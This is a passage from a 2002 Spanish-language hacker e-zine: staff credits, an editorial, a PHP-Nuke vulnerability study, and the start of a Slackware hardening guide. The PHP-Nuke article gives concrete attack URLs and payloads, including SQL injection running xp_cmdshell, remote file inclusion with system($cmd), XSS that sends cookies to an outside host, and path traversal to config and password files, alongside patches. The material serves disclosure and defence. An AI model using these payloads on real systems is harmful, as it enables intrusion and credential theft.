 +--------------------------------------------------------------------------+


      _____            _____           _______
     / ___ \ _____  _ / ___ \ _ ___   /   _   \____    ___   _ __ ___
    | |  /| |  _  \[_] |  /| | '__ \  |_/| |\_|  __\ /  _  \| '_ ' _ \ 
    | | / | | [_] /| | | / | | |  | |    | |  | [_  |  [_]  | | | | | |
    | |/__| |  _  \| | |/__| | |  | |    | |  | [___|   _   | | | | | |
     \_____/|_| \_\|_|\_____/|_|  |_|    |_|  |_____/\_| |_/|_| |_| |_|
        _         _
       | |       | |___  _ ___ ____  ______ _   _ ____  _     ____
        \ \     / /  __\| '_  |  __\/__   /| | | |  __\| |   /  _  \
         \ \   / /| [_  | | | | [_    /  / | | | | [_  | |  |  [_]  |
          \ \_/ / | [___| | | | [___ /  /__| |_| | [__ | |__|   _   |
           \___/  |____/|_| |_|____/|______|\___/\____/|____|\_| |_/


                 Cuando ser feliz no lo es todo en la vida  ;)

                            Numero 4 - Mayo del 2002
 

 +--------------------------------------------------------------------------+

                            -=[  Disclaimer  ]=-

     Toda la informacion que contiene esta revista se publica unicamente
     con fines educativos, el mal uso de la misma no sera en ningun caso
     responsabilidad del editor ni de alguno de los miembros del staff o
     colaboradores. 0ri0n Team Venezuela no  se hace responsable por los
                comentarios/articulos escritos en esta Revista.
                 

        Se han eliminado los caracteres especiales y en el caso de la
                       "ENIE" se ha suplantado por ~ .


          Se Recomienda usar el Edit del DOS o el Editor del Midnight 
	     Commander en Linux para la lectura de esta Revista.


 +--------------------------------------------------------------------------+

                         -=[   Web Oficial   ]=-                        

                         http://www.otv.org.ve
                   

 +--------------------------------------------------------------------------+
 
              -=[  Canal Oficial en el IRC (irc.dal.net)  ]=-
                         
                                    #otv
                   
                 -=[  Otro Canale en el IRC (Dal.net)  ]=-
 
                                 #LinuxAyuda


 +--------------------------------------------------------------------------+

                       -=[  Staff Oficial E-Zine ]=-

		 elreviron         <==>   elreviron@otv.org.ve
		 ^Jess^            <==>   jess@otv.org.ve
		 Max 5             <==>   max5@otv.org.ve
                 Mr. kl0nk Manson  <==>   kl0nk@otv.org.ve
                 ShAd0w5           <==>   shadow5@otv.org.ve
		 



                       -=[  Staff Oficial 0ri0n ]=-

   	         
 		       http://www.otv.org.ve/staff.php
		 


                           -=[  Colaboradores  ]=-

                 
		 |balrog|          <==>     balrog@undersec.com
		 Bit-Man           <==>     victor@bit-man.com.ar
                 CHAMUKO           <==>     chamuko@revelion.zzn.com 
		 LiteSYS           <==>     litesys@monte.as
		 Maquiavelo        <==>     xakermaquiavelo@hotmail.com
		 M3T4LK1LL3R       <==>     METALKILLER@terra.es
		 pof               <==>     pau@eslack.org
                 SaTmAnN           <==>     satmann@eresmas.com


 
 
 +--------------------------------------------------------------------------+

                             -=[  Saludos a ...  ]=-


 Por Nick: VMnix, DarkDeath, Darkgrave, EleKtr0, WolfHack, MerlinX, z3tA,
           El_Hechizero, DrAk0, Kliber,  NuKeLiTe, roots, SquOnk, NukeMX,
	   Zeus, tito_c,  Inouttime,   VbxSys,  elnomis, Supreme, Ca0s,   
	   Kiwwi Ramirez, AnhimA, _CyRaNo_, x0rDeath, CyberRider, Kacimiro 
	   &  Vil  Roach,   venomous,   Kralj,  locomIRC,  Vaselin, Bruj0,
	   [RaFa], el-brujo, QQmelo, C-Qaz, HomeroBot, DDiego, Marco Guns, 
	   GodPot, Mau, d0ct0r_LKM, Alej0, GriNdEr, mastrax, Carl Lenin,
	   NiEtZsChE-2k, damicita, MindLock (or beren-), NegrunCH, CyBeRRiDeR,
	   BlackHack, Wysse, Kerosene, Ghostloc, iR4S.
   
	   Si usted no esta en la lista, entonces  envienos un email a 
	   /dev/null  con titulo [Yo quiero estar en la Lista de Saludos] 


                             *** SALUDO ESPECIAL ***
			       
           A Sebastian Alfonso (Aceituna), de Rosario - Argentina. Hey pibe 
	   gracias por defacearnos la Database, gracias a eso emigramos a un
	   server seguro y no publico. Como dirian nuestros abuelos, Hoy Por 
	   Ti y Ma~ana por mi (o nosotros).
	   
	   A la Gente de RebelCel, que se echaron la culpa de Defacement de
	   la DB. Lo mas comico de todo es que ellos no saben ni que como 
	   trabajar con una secuencia SQL para sacar los datos de X's campos
	   en una tabla.
	   
  	                     ***   FIN   SALUDO   ***
			     
	   
 Por Team: http://www.hven.com.ve               (HVEN Seguridad ... Alive)
 	   http://www.xakercentral.com          (Xaker Team)
           http://www.set-ezine.org             (SET E-Zine)
	   http://www.est.cl                    (Electron Security Team)
	   http://www.disidents.int-ltd.com     (Disidents Team)
	   http://www.ezkracho.com.ar           (Ezkracho Team)
	   http://hackercells.n3.net            (HackerCells - CyberRider)
	   http://www.undersec.com              (UnderSec Security Team)
	   http://www.raza-mexicana.org         (Raza Mexicana Team)
	   http://www.cdlr.org                  (Proyecto R)
           http://www.raregazz.com.ar           (RareGaZz Team)
           http://www.kshezine.org              (KSH Team)
	   http://www.netsearch-ezine.com       (NetSearch E-Zine)
	   http://www.rdcrew.com.ar             (r0tten dev1ce Crew)
	   http://www.world-of-hell.com		(WOH Team)
	   http://www.acidklan.org		(AcidKlan)
	   http://www.petardas.com              (Mmm, c0ck, sex, anal ...)


 Mirror
 0ri0n
 E-zine :  http://www.vanhackez.com             (La Tarberna de VanHackez)
           http://www.zine-store.com.ar         (Zine Store)
	   http://www.x-system.net              (X-System)
           http://www.galeon.com/deraiz         (GriNdEr Web Site)
           http://www.elhacker.net              (Alex - elhacker.net)
	   http://www.area54.4all.com.ar	(Area 54)
	   http://www.disidents.int-ltd.com     (Disidents)


 Frases
 Celebres
 del Staff > Linux: When you are with me, I'm free, I'm 
             careless, I believe ...                       - kl0nk

           > Quien co~o dijo que 1+1 no es igual a 10?     - Inouttime

           > Creo que embarace a mi novia de nuevo ...     - ShAd0w5

	   > COLOCA TU QUOTE AQUI                          - elreviron

	   > A mi no me joden con esa interrupcion         - Chica4xs
	   
	   > El Sexo para Despues, Primero el Trabajo      - ^Jess^

           > Es virus no lo escribi yo, eso lo hizo mi 
	     mama                                          - vbxsys

           > Que!!!, ahora todo el mundo sabe mi identidad
	     verdadera                                     - Max 5

  

 +--------------------------------------------------------------------------+
           C o n t e n i d o                               A u t o r
 +--------------------------------------------------------------------------+
    
 [ 4x00 ] Portada
 [ 4x01 ] Editoria                                         El Editor
 [ 4x02 ] PHP-Nuke: Estudio de Vulnerabilidades            Mr. kl0nk Manson
 [ 4x03 ] Hardening Slackware                              pof
 [ 4x04 ] Como programar en C en muchos pasos (IV Parte)   Max 5
 [ 4x05 ] Manejando SQL (III Parte)                        ShAd0w5
 [ 4x06 ] Perl for Panas                                   elreviron
 [ 4x07 ] Conociendo a nuestro amigo (o enemigo)           Mr. kl0nk Manson
 [ 4x08 ] Estandar de Programacion Segura                  Bit-Man
 [ 4x09 ] El Futuro de Linux                               M3T4LK1LL3R
 [ 4x10 ] Antes y Despues de una Intrusion                 |balrog|
 [ 4x11 ] Redes Neuronales                                 ^Jess^
 [ 4x12 ] Articulos Varios
  < 4x12a > Debian Potato / Instalacion y Upgrade          Maquiavelo
  < 4x12b > Administracion rapida del MySQL                Mr. kl0nk Manson
  < 4x12c > Como crear PDF's facilmente y gratis           SaTmAnN
  < 4x12d > Medidas de seguridad en Windows NT/2000        CHAMUKO
  < 4x12e > Telefonia                                      Varios
  < 4x12f > Quotas del IRC                                 LiteSYS
 [ 4x13 ] Casos de la vida real                            0ri0n Staff
 [ 4x14 ] Comentarios, Sugerencias, Otros                  0ri0n Staff 
 [ 4x15 ] Seccion de Software                              0ri0n Staff
 [ 4x16 ] Proyectos Varios                                 0ri0n Staff
 [ 4x17 ] Seccion Anti-Stress                              ShAd0w5
 [ 4x18 ] Llaves PGP                                       0ri0n Staff
 [ 4x19 ] Fuente de Extract                                0ri0n Staff
 [ 4x20 ] Esto es todo amigos ...                          El Editor
 
 +--------------------------------------------------------------------------+


<EOF>

-[ 4x01.txt ]----------------------------------------------------------------
-[ Editorial ]-------------------------------------------------[ El Editor ]-
--------------------------------------------------------[ kl0nk@otv.org.ve ]-

  Aqui estamos, vivitos y coleando, tanto con nueva Zine como con nuevo
  hosting para nuetro sitio web (Gracias a NukeMX y a Zeus). Esto es, 
  porque a finales del mes de Marzo y principios del mes de Abril a un ni~o
  se le ha ocurrido jugar con la DB de la web de 0ri0n. Estubimos varias
  semanas buscando un hosting y por fin estamos online de nuevo (Ni que
  Chavez nos mande a matar podremos desaparecer). Duros como una roca y
  mas pilas que nunca, el staff de 0ri0n se une para darle fuerza a este
  gran proyecto Venezolano, que en muy poco tiempo se ha expandido a nivel
  de Habla Hispana. Reconcidos como _constructores_ y no piratas informaticos.
  
  Muchas personas han estado en la mira de lo que hacemos, para ver si vale
  la pena aportar algo a este proyecto, en la cual no los hemos defraudado y
  alli estamos, con muchos colaboradores y gente que nos apoya (Un saludo a
  nuestro Hermano z3tA, que en muy poco tiempo se ha convertido en pieza 
  importante para 0ri0n), tambien hay que reconocer el excelente trabajo que
  realiza elreviron, una personita que vuela alto sin mirar atras. Tambien
  a todos los demas (que se me olvidan los nicks), gracias por todo.
  
  Para la fecha del lanzamiento del zine estamos cumpliendo 2 a~os de vida,
  algo que en tiempo es poco para las locuras que hacemos por 0ri0n dia a dia,
  como si fuera nuestro hijo, un hijo que se alimenta de dia a dia del 
  conocimiento que tiene cada uno de los integrantes y colaboradores activos.
  
  Lamentablemente no todo es color de rosa, en este tiempo a muchas personas 
  le hemos caido _de_la_patada_, y esas son las personas que a diario son
  las que quieren que este proyecto no siga adelante. No vale la pena nombrar
  a uno por uno de ellos pero lo que si deben tener en claro es que 0ri0n
  dara la batalla hasta ganarla, porque hoy se pierde pero ma~ana ganaremos.
  
  En estos dos a~os de vida, se puede destacar acontecimientos nuncas vistos
  en un grupo de Tecnologia e Informacion, como una Web con material de 
  primera, mas de 1500 visitas diarias, Repositorio de otras revistas, la
  guerra a la Pedofilia _De_Frente_ esto es por el margen de lo legal para
  luego no caer en problemas legales (aunque provoca hacerlo a lo macho ... de 
  una), entre otras cosas. Otras de las cosas es la colaboracion de varios de
  nuestro grupo de trabajo en Sistemas Open Source, mucho de nosotros 
  trabajamos por una comunidad Libre porque asi tiene que ser las cosas, y
  nuestra satisfacion es hacer cosas _Bien_Echas_ y que le de renombre a 
  nuestro pais, un pais que si sigue asi politicamente no llegara a nada.
  
  Actualmente estamos pasando en Venezuela una super crisis, tanto politica,
  economica, social, etc. Y es por esto que hago un llamado a todos los
  Venezolanos que viven en Venezuela para que abran los ojos y se den cuenta
  de la feisima situacion que vive el pais, para que seamos mejores y dejemos
  a un lado nuestras diferencias y nos pongamos a trabajar fuertemente, todos
  unidos como hermanos venezolanos para poder sacar a este hermoso y bello 
  pais que es Venezuela.
  
  Entrando al tema del contenido del zine, podemos ver una gran variedad de
  articulos, tanto de area de la programacion, pasando por Seguridad en 
  Sistema hasta estudios de Vulnerabilidades, entre los cuales podemos
  destacar: Estudio de Vulnerabilidades del PHP-Nuke, Hardening Slackware,
  Como programar en C en muchos pasos, Manejando SQL, Perl for Panas, 
  estandar de Programacion Segura, el Futuro de Linux, Antes y Despues de 
  una Intrusion, Medidas de seguridad en Windows NT/2000, entre otros.
  
  Esperamos que esta edicion, la cuarta en 2 a~os sea de su agrado ...
  
  
  -- Mr. kl0nk Manson
  

<EOF>

-[ 4x02.txt ]----------------------------------------------------------------
-[ PHP-Nuke: Estudio de Vulnerabilidades ]--------------[ Mr. kl0nk Manson ]-
--------------------------------------------------------[ kl0nk@otv.org.ve ]-


  Indice General

  [1] Introduccion
  [2] Yo soy usuario de PHP-Nuke, que hago?
  [3] Aja, como se si mi sitio es Vulnerable?
  [4] Listado de Bugs
    a.- Problemas con los HTTP Referers
    b.- Ejecucion de comandos
    c.- Cross Site Scripting
    d.- Password de usuarios y/o Administrador al Descubierto
    e.- El famoso ../../
    f.- Ataques a la Base de Datos
    g.- Ataque del tipo DoS
  [5] Conclusiones y Recomendaciones
  [6] Links



  [1] Introduccion

  Este texto esta orientado a todas aquellas personas que tienen instalado
  como Manejador de Contenido a PHP-Nuke, un Sistema de Portales Web Open
  Source y basado en PHP y MySQL. Con este paper no quiero que sea estimulo
  para que personas dedicadas al Web Crackeo se dediquen a hacer da~o a
  sitios basado con PHP-Nuke, ya que hay muchas web's que por una u otra
  cosa no tienen la posibilidad de estar actualizando sus software cada vez
  que sale un bug, por lo tanto NO ME HAGO RESPONSABLE por el uso/abuso del
  material aqui expuesto.


  Hago incapie en este Sistema de Portales Web porque soy un usuario /
  programador del mismo desde sus inicios (version 1.0) y ademas porque
  ultimamente no ha habido soporte para el mismo y esto trae como
  consecuencia la NO INFORMACION a sus usuarios; se dice que si eres
  un User Friendly de algun software debes estar al dia con su problemas,
  avances, etc. No quiere decir que es el unico o que es el mejor, pero como
  todo siempre hay fallos que se pueden reparar teniendo un minimo de
  conociento (para eso es Software Libre).

  Sin mas nada, empecemos ...



  [2] Yo soy usuario de PHP-Nuke, que hago?

  Una de mis recomendaciones es la siguiente, subscribirse a la newsletter
  de PHP-Nuke[1], otra es la subscribicion a boletines de noticias, tales
  como SecurityFocus[2] (Bugtrack), Nuke Security[3], Kriptopolis[4],
  HispaSec[5], PHP-Nuke en Espa~ol[6], etc.

  Otra es apreder un poco sobre PHP[7], no digo que seas un Wizard en PHP,
  pero si conocer el manejo del Lenguaje como tambien del MySQL[8], conozco
  a muchos Webmasters que lo tienen instalado en su Web y no conocen nada de
  como Programar en PHP/MySQL y por eso muchos sitios han estado OffLine
  por varios dias y sin saber que ha pasado con el (que lo diga el pana
  espectr0).

  [3] Aja, como se si mi sitio web es Vulnerable?

  Es muy facil, solo vas a la seccion de _Estaditicas_ de tu sitio
  (stats.php) y miras que version del PHP-Nuke tienes instalado,
  luego te vas a el sitio oficial y miras en la seccion de Downloads/Fixe's
  que de seguro alli habra un parche para tu version (o no es asi NuKeLiTe?).
  Si tienes alguna version vieja instalada es mejor que te bajes la ultima y
  actualices tu sitio, claro esta que debes hacer un backup de tu
  database/sitio primero por si algo te sale mal.

  A continuacion voy a explicar algunos de los Bugs de PHP-Nuke:


  a.- Problemas con los HTTP Referers

      Este problema esta en los archivos index.php y categories.php, ya que
      contienen la funcion getenv(), esta no es mas que una funcion que
      al pasarle como argumento alguna de las variables HTTP guarda en la
      base de datos la informacion, en el caso de PHP-Nuke (y PostNuke) la
      trabajan de la siguiente forma:

      getenv("HTTP_REFERER");

      Actualmente la funcion mysql_query no es vulnerable pero si podria ser
      la de mssql, esto es porque la UNION no es soportada por el argumento
      INSERT, aqui les dejo un ejemplo:

      if ($httpref==1) {
        $referer = getenv("HTTP_REFERER");
          if (($referer=="") OR ereg("unknown", $referer) OR
                                eregi($nukeurl,$referer)) {

          } else {
              sql_query("insert into $prefix"._referer."
              values (NULL, '$referer')", $dbi);
            }
       ...

       Se puede ver si eres vulnerable, siempre y cuando tengas activa la
       opcion de referer's.

       Por ejemplo, un tipo de ataque podria ser el siguiente:

       GET /category.php HTTP/1.0
       Host: Victima.com
       Referer: ('yo-soy-root'); exec master..xp_cmdshell 'net user test
                testpass /ADD'--

     
       Utilizando para la insercion:

       insert into nuke_referer values (NULL, 'yo-soy-root'); exec
       master..xp_cmdshell 'net user test testpass /ADD' --')



  b.- Ejecucion de comandos

      Esta es porque versiones desde la 5.2 a la 5.4 traian la opcion de que
      se pudiera incluir archivos formateados en HTML en el index del sitio,
      esto trajo el problema de que algun _abusador_ se aprobechara de esto
      creando un archivo X.php y agregandole las siguientes lineas:

      system($cmd);

      NOTA: Donde la funcion system($cmd); ejecutara comandos del sistema
            operativo.

      Pudieran ejecutar remotamente comandos en el servidor, pudiendose
      apoderar de algun fichero instalado en el servidor o del archivo
      config.php, que teniendo a la mano los datos de la database pudiesen
      conectarse remotamente, modificar la cuenta root del sitio y apoderarse
      del sitio en casi su totalidad.

      La cuestion es subir el archivo X.php a algun servidor que de soporte
      a PHP, luego escribir en el URL de cualqiuer Browser:

      http://victima.com/index.php?file=http://servidor_gratis.com/X.php

      Y pasandole como parametros al archivo X.php (por ejemplo &cmd=ls%20-al)
      obtendrian el listado de los archivos del servidor victima.

      Hay varias soluciones de este problema, las cuales son:


      * Editar el archivo php.ini y colocar la opcion

        allow_url_fopen = OFF

        y para ponerlo en modo seguro al PHP, colocar la variable

        safe_mode = On


      * Borrar del archivo index.php la siguiente linea:

        if (!@file($file) OR (eregi("../",$file)) OR
        (eregi("http://",$file))) {

        Ya que solamente bloqueria las entradas http:// pero que pasaria si
        se intentara con ftp:// ?.


  c.- Cross Site Scripting

      De estos sufren muchos modulos/codigos el PHP-Nuke, que apartir de la
      version 5.3.1 se fueron parcheando, el cual con un navegador que tenga
      habilitado JavaScript/VBScript mas un codigo malicioso en alguno de
      estos lenguajes se podian obtener archivos, tantos en el cliente como
      en el servidor, ademas de poner en descubierto el codigo total del
      sitio, aqui les dejo unos ejemplos:

      * http://victima.com/friend.php?op=SiteSent&fname=[SCRIPT]
      * http://victima.com/modules.php?op=modload&name=Web_Links&file=
        index&l_op=ratelink&lid=126&ttitle=[SCRIPT]
      * http://victima.com/modules.php?name=Downloads&d_op=viewdownload
        details&lid=02&ttitle=[SCRIPT]
      * http://victima.com/modules.php?name=Downloads&d_op=ratedownload&
        lid=118&ttitle=[SCRIPT]
      * http://victima.com/modules.php?op=modload&name=Members_List&file
        =index&letter=[SCRIPT]
      * http://victima.com/submit.php?subject=[SCRIPT]&story=[SCRIPT]&
        storyext=[SCRIPT]&op=Preview
      * http://victima.com/user.php?op=userinfo&uname=[SCRIPT]

      Tambien los ADDONS NO OFICIALES pueden sufrir de bugs, por lo tanto no
      es recomendable instalarlos nuestro sitio web, por ejemplo, estan estos
      3 ADDONS (DMOZGateway, IMessenger y XForum):

      * DMOZGateway

       http://victima.com/modules.php?op=modload&name=DMOZGateway&file=index
       &topic=[SCRIPT]

      * IMessenger

      <script>window.location.href='http://victima.com/im.php?username_to=
      h4x0r&subject='+document.cookie+'&message=message&action=send';
      </script>

      * XForum

      http://victima.com/modules.php?op=modload&name=XForum&file=[SCRIPT]&
      fid=2


      Donde [SCRIPT] puede ser <script>alert(document.cookie);</script>


      La recomendacion para este tipo de casos es NO INSTALAR modulos NO
      OFICIALES.

      Estos modulos son vulnerables a estos tipos de ataques, ya que es por
      la forma de su programacion, si editamos el archivo modules.php
      (versiones anteriores a la 5.3.1):

      include("modules/$name/$file.php");

      Una forma de reparlo temporalmente esta en remplazar el codigo
      anterior por las siguientes lineas:

      switch($op) {

          case "modload":
           if (!isset($mainfile)) { include("mainfile.php"); }
            if (ereg("\.\.",$name) || ereg("\.\.",$file)) {
              echo "You are so cool";
              break;
              } else {
                 include("modules/$name/$file.php");
                }
                break;
                default:
                die ("Sorry, you can't access this file directly...");
                break;

            }


  d.- Password de usuarios y/o Administrador al Descubierto

      Para mi este es uno de los grandes bug que sufria los usuarios/admin
      de los sitios bajo PHP-Nuke, ya que todos los password quedan en
      los famosos cookies de forma encripdata Base64, esto es vulnerable,
      ya que aplicando un ataque del tipo Cross Site Scripting (descrito
      anteriormente) se puede obtener los cookies del admin/usuarios
      de manera facil y rapida y mas si eres usuario de versiones
      anteriores al Internet Explorer 6.01, Mozilla 0.9.8, Opera 0.2 y
      Konqueror 2.0.1. Si el atacante conoce un poco de programacion
      y ademas maneja PHP (funciones base64_encode y base64_decode) podria
      crear facil un fichero .php con las funciones, introduccir el password
      y decodificarlo, y asi tener el sitio victima en sus manos.

      Aqui hay un ejemplo de un cookie encriptado Base64:

      lang
      spanish
      victima.com/
      0
      725504896
      29523774
      551579360
      29450340
      *
      admin
      QWRtaW46TmljZV9Ucnk6DQo=
      victima.com/
      0
      1451582336
      29456384
      3432929360
      29450340
      *

      Donde el password encriptado base64 es el numero 11 de abajo hacia
      arriba (QWRtaW46TmljZV9Ucnk6DQo=), el cual decodificado significa
      Nice_Try

      La gente de ISecureLabs[9] ha puesto a su dispocision un archivo que
      desencripta los ficheros codificado base64 y pueden encontarlos en
      http://www.isecurelabs.com/base64.php

      La estrategia a utilizar para sacar las contrase¤as era la siguiente:


      1. Crear un script en PHP que contuviera la funcion

      getenv("QUERY_STRING")


      2. Buscar un sitio web que de PHP Gratis y subir el archivo EXPLOIT.php,
         crear un link con el siguiente codigo:

      <a href="about://victima.com/<script>window.open("http://servidor_gratis.com
      /EXPLOIT.php?"+document.cookie);</script>">Hey, este es el ultimo exploit
      remoto para PHP-Nuke!</a>


      Estos Bug han sido reparados a partir de la version 5.3.1 y ahora
      PHP-Nuke en vez de utilizar Base64 utiliza MD5 para codificar las
      contrase¤as en su sistema.


  e.- El famoso ../../

      Este bug no es nada mas comocido en los CGI's hechos en Perl sino
      en PHP, este se da por error del programador del CGI y por lo
      tanto se puede obtener archivos del sistema donde este instalado
      el PHP-Nuke, para ello voy a dejar dos ejemplos, uno el de un
      modulo llamado Gallery Nuke[10] y el otro el del FileManager que venia
      incluido en las versiones anteriores a la 5.3.1

      * Gallery Nuke

        http://victima.comm/modules.php?set_albumName=album01&id=aaw&op=
        modload&name=gallery&file=index&include=../../../../../../etc/hosts


      * FileManager

        Este hace tiempo era una de los mejores Addons que tenia el PHP-Nuke,
        ya que no habia necesidad de trabajar con algun cliente FTP o SCP
        para subir los archivos al servidor. Francisco Burzi decidio
        eliminar ese modulo (gracias a una encuesta realizada en su sitio
        web) porque ademas de ser muy buen modulo se prestaba para ser
        vulnerable a ataques.

        El problema radicaba en los archivos admin.php y case.filemanager.php,
        donde el al archivo admin.php no habia comprobacion de que el que
        estaba introduciendo el codigo era administrador del sitio, lo cual
        traia como consecuencia que cualqueir persona pudiera copiar/borra
        archivos sin necesidad de ser administrador. Aqui les dejo un ejemplo
        de cual era la forma de copiar archivos:

        http://victima.comg/admin/case/case.filemanager.php/admin.php?op=move
        &confirm=1&do=copy&basedir=&file=../../config.php&newfile=config.txt

        Con esto el atacante copiaba el archivo config.php en un nuevo archivo
        llamado config.txt, asi podia visualizarlo y tomar los datos de la
        database de manera de luego conectarse a la database de forma remota.

        En el proximo ejemplo esta la forma de borrar el archivo index.php
        (teniendo permisiologia 666 o 777)

        http://victima.com/admin/case/case.filemanager.php/admin.php?op=del&
        confirm=1&basedir=&file=index.php

        Este problema fue solucionado cuando salio la version 5.2 del mismo.
        La solcuion temporal era cambiar las siguientes lineas en el archivo
        admin.php

        if ($admintest) {

        por

        if ($admintest == 1) {

        o

        if($upload) {

        por

        if(($upload && $admintest) && ($band == "0" && $basedir)) {


        No solo PHP-Nuke era vulnerable a este ataque sino a su derivado
        PostNuke[11] (versiones anteriores a la 0.64)


     *  Opendir.php

        Este archivo no comprueba lo que esta insertando en su peticion,
        en la cual se podia obtener cualquier fichero en el sistema, la
        sintaxis es la siguiente:

        http://victima.com/opendir.php?requesturl=/etc/passwd

        La solucion es simplemente reescribir el codigo con las siguientes
        lineas:

        if (!@file($requesturl) OR (eregi("../",$requesturl)) OR (eregi("http://",$requesturl))) {

        O Borrar el archivo opendir.php


     * Ataques a la Base de Datos

       Este problema radica en que si el atacante obtiene el UserID y
       Username era posible entrar al sistema sin contrase~a.

       La informacion que necesitaban la sacaban del modulo Members_List.
       Los archivos vulnerables son el article.php y mainfile.php (PHP-Nuke)
       y article.php y mainfile2.php (Postnuke). Las versiones afectadas
       eran las inferiores a la 5.2 (PHP-Nuke) y las 0.62/0.63/0.64 de
       PostNuke, a continuacion viene el exploit:

       http://victima.com/article.php?save=1&sid=20&[SID]cookieusrtime=
       160000&[FECHA DE EXPIRACION DEL COOKIE]user=USERID:USERNAME:'

       o

       uname='USERNAME  codificado en base64


       La forma de reparlo temporalmente es editar el archivo article.php
       y cambiarlo por este codigo.

       if (($save) &&  (is_user($user))) {
          cookiedecode($user);
          mysql_query("update $pntable[users] set umode='$mode',
          uorder='$order', thold='$thold' where uid='$cookie[0]'");
          getusrinfo($user);
          $info = base64_encode("$userinfo[uid]:$userinfo[uname]:$userinfo[pass]:
          $userinfo[storynum]:$userinfo[umode]:$userinfo[uorder]:$userinfo[thold]:
          $userinfo[noscore]");
          setcookie("user","$info",time()+$cookieusrtime);
       } 
  

     * Ataque del tipo DoS

       Este tipo de ataques es gracias al archivo modules.php, ya que
       con solo pasarle a la variable $name el argumento ../ rapidamente
       empezara a consumir recursos. Por ejemplo:

       http://victima.com/modules.php?op=modload&name=../&file=modules



  [5] Conclusiones y Recomendaciones

  En conclusion, como diria mi amigo Anonymous

  " Nunca habra un sistema que no sea vulnerable a ataques, y si no es
    vulnerable entonces es simplemente DIOS "

  Que mayor recomendacion que decirles que siempre esten actualizados, ya
  que todo el tiempo saldran bugs tras bugs y nunca podremos estar
  tranquilo.

  Cualquier Sugerencia, Propuesta indecente (Solo Chicas), Etc pues la
  pueden hacer a mi correo. La basura, el Spam y todo lo demas se lo
  pueden enviar a bgates@microsoft.net

  Un saludo a mis amigos: NuKeLiTe, Maquiavelo, Electr0, Zorbas, RoMaNsOft,
  que gracias a ellos yo me decidi a escribir este articulo.



  [6] Links

  [1]  http://www.phpnuke.org
  [2]  http://www.securityfocus.com
  [3]  http://www.nuke-security.com
  [4]  http://www.kriptopolis.com
  [5]  http://www.hispasec.com
  [6]  http://www.phpnuke-espanol.org
  [7]  http://www.php.net
  [8]  http://www.mysql.com
  [9]  http://www.isecurelabs.com
  [10] http://www.menalto.com/projects/gallery-nuke/
  [11] http://www.postnuke.com

  Otros Links Interesantes:

  [*] http://www.projet7.org
  [*] http://www.nuke-security.com
  [*] http://www.twlc.net
  [*] http://www.kuht.it
  [*] http://www.securiteam.com
  [*] http://www.sentry-labs.com

<EOF>

-[ 4x03.txt ]----------------------------------------------------------------
-[ Hardening Slackware ]---------------------------------------------[ pof ]-
----------------------------------------------------------[ pau@eSlack.org ]-

  0.- Indice
  ----------

  1.- Introduccion
  2.- Particiones
  3.- Correcciones post-instalacion
	3.1- Problema con la umask por defecto en kernels < 2.4.6
		3.1.2.- Problema de permisos en mods245.tgz
	3.2- Vulnerabilidad en 'man' de Slackware
	3.3.- Vulnerabilidad en GNU locate
	3.4.- Vulnerabilidad en Linux Ptrace/Setuid Exec
	3.5.- Vulnerabilidad en netkit-0.17 telnetd daemon
	3.6.- Vulnerabilidad en sendmail de Slackware
  4.- Montar BIND chrooted y setuid
  5.- Sendmail
	5.1- SMRSH: Restricted Shell for Sendmail
	5.2- Ajustes de configuracion
  n-1.- Otros documentos
  n.- Licencia

  Por hacer:
  ----------
  - Securizacion de Apache
  - Cambio de permisos por defecto
  - ...



  1.- Introduccion
  ================

  Este documento intenta ser una guia basica de securizacion de un sistema
  basado en Slackware 8.0.

  Considero que el documento todavia no esta acabado y falta mucho por hacer,
  si quieres ver si hay una version nueva, la URL "oficial" del documento es
  la siguiente: http://pof.eSlack.org/hardening-slack/HARDENING_SLACKWARE.txt



  2.- Particiones
  ===============

  Que tienen que ver las particiones con la seguridad de un sistema? Ahora
  veremos que particionar correctamente el disco duro puede ahorrarnos un
  posterior dolor de cabeza.

  Muchas veces habras oido que para instalar linux hay que usar dos
  particiones, una para el sistema y otra para la swap, pero esto no tiene
  por que ser asi, tambien puedes utilizar mas particiones. Imagina que un
  usuario malicioso te llena el directorio /tmp, si tienes el sistema entero
  en la misma particion habra conseguido dejarte sin espacio con las
  consecuencias que esto trae (no se podran guardar los logs del sistema por
  ejemplo!).

  Veamos que directorios cuelgan de la raiz / en una instalacion de
  Slackware:


pau@w0:~$ ls -l /
total 1434
drwxr-xr-x    2 root     bin          1920 Aug 16  1994 bin/
drwxr-xr-x    2 root     root          472 Dec 14 05:17 boot/
drwxr-xr-x    2 root     root           48 Oct  6  1997 cdrom/
drwxr-xr-x   10 root     root        47464 Dec 15 19:39 dev/
drwxr-xr-x   12 root     root         2904 Dec 15 21:34 etc/
drwxr-xr-x   23 root     root          576 Feb 25  2001 home/
drwxr-xr-x    3 root     root         2392 Dec  8 23:36 lib/
drwxr-xr-x    2 root     root           48 Oct  6  1997 mnt/
drwxr-xr-x    4 root     root           96 Sep 20 02:49 opt/
dr-xr-xr-x   78 root     root            0 Dec 15 20:38 proc/
drwx--x---   12 root     root          656 Dec 14 22:21 root/
drwxr-xr-x    2 root     bin          2896 Nov 22 22:04 sbin/
drwxrwxrwt   16 root     root         1600 Dec 15 23:33 tmp/
drwxr-xr-x   20 root     root          592 Dec  2 02:16 usr/
drwxr-xr-x   15 root     root          432 Dec  2  1995 var/
-rw-r--r--    1 root     root      1396901 Oct 28 02:16 vmlinuz
pau@w0:~$ 


  Bien, ahora pasemos a analizar cuales son los directorios que se podrian
  llenar facilmente, y estos seran los que posteriormente separaremos en
  particiones.

  No podemos separar algunos directorios de la raiz, por ejemplo el /etc
  debe estar ahi ya que contiene ficheros necesarios en el arranque como el
  /etc/fstab para saber que particiones se van a montar posteriormente o el
  /etc/inittab que nos indica donde estan los scripts rc.* que se ejecutan
  en el arranque.

  Los directorios que contienen los binarios basicos del sistema son el /bin
  y el /sbin, estos tampoco los podemos separar ya que si lo hicieramos no
  tendriamos acceso a muchos de los comandos que se ejecutan en el arranque,
  como por ejemplo el comando 'mount' que es llamado desde los rc's para
  montar las particiones.

  El /lib contiene librerias dinamicas con las cuales se enlazan muchos de
  los binarios que hay en /sbin o en /bin, por tanto tampoco podremos
  separarlo de la raiz (a no ser que hayamos recompilado estaticamente todos
  los binarios que se utilizan durante el arranque).

  El /dev es otro directorio que no podemos separar ya que en el se
  encuentran los dispositivos que utilizamos en el arranque (las otras
  particiones son ficheros dentro de /dev).

  El /proc es un sistema de ficheros virtual, que no ocupa espacio y por
  tanto tampoco tiene sentido separarlo de la particion raiz.

  Hasta aqui hemos visto todo lo que tiene que colgar de la /, si os fijais
  todos son directorios a los cuales solo tiene acceso de escritura el root,
